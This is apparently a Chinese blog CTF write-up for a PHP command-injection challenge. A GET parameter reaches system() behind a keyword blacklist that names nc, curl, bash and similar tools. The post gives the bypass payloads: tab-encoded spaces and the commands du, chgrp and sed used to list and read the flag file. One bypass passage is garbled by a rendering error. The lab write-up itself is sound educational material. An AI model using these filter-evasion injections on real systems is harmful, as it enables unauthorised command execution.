[G1itch]hard_waf

代码分析:


<?php highlight_file(__FILE__); //对文件进行语法高亮显示 $filter = '/#|`| |[\x0a]|php|perl|dir|rm|ls|sleep|cut|sh|bash|grep|ash|nc|ping|curl|cat|tac|od|more|less|nl|vi|unique|head|tail|sort|rev|string|find|\$|\(\|\)|\[|\]|\{|\}|\>|\<|\?|\'|"|\*|;|\||&|\/|\\\\/is'; #定义黑名单 $cmd = $_GET['cmd']; # get方式传递数据 if(!preg_match($filter, $cmd)){ # 正则匹配并判断传递的数据 system($cmd."echo 'okkkkkk'"); #执行外部程序,并显示输出 }else{ die("ohhhhnnnoooooooooo....."); #输出一条消息,并退出当前脚本。 } ?>

解题思路

首先分析代码, 一开始先定义了一个 filter 过滤了一些bash命令等关键字(这里过滤了大多数常见的命令、符号等),定义了一个
$_GET变量 用于接收来自GET方法的数据,经过匹配 filter 后,如果没有相关关键字则将用户GET传的数据拼接 echo
‘okkkkkk’
后执行 system() 函数,如果匹配到相关字眼就输出 **ohhhhnnnoooooooooo…
**并退出,所以整道题的核心就是 绕过filter

黑名单绕过

空格绕过 %09 $IFS$9 KaTeX parse error: Undefined control sequence: \t at position 327: …}(看环境不一定都适用) ca\̲t̲ ̲echo "bHM="|bas…a$b c c cd

本题考点

① 空格绕过

②查看列目录文件命令

③ 查看文件命令

解题步骤

经测试:

①绕过空格 %09

②列目录命令 du -a . 或chgrp -v -R

③ 查看文件 sed p

查看文件名:

1)?cmd=du%09-a%09.%09

2)?cmd=chgrp%09-v%09-R%09root%09.%09

1623850342_60c9fd66122750d1da5de.png!small?1623850340259

1623850396_60c9fd9c49f1d5541a795.png!small?1623850394306

查看文件:

**?cmd=sed%09p%09f1ag_1s_here%09
**

1623849748_60c9fb140e043dc74f260.png!small?1623849746035

网络安全工程师(白帽子)企业级学习路线

第一阶段:安全基础(入门)

img

第二阶段:Web渗透(初级网安工程师)

img

第三阶段:进阶部分(中级网络安全工程师)

img

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

学习资源分享

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HugCQkcU-1689954106801)(C:\Users\Administrator\Desktop\网络安全资料图\微信截图_20230201105953.png)]

ixin.qq.com/s/BWb9OzaB-gVGVpkm161PMw)

学习资源分享

[外链图片转存中…(img-HugCQkcU-1689954106801)]

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值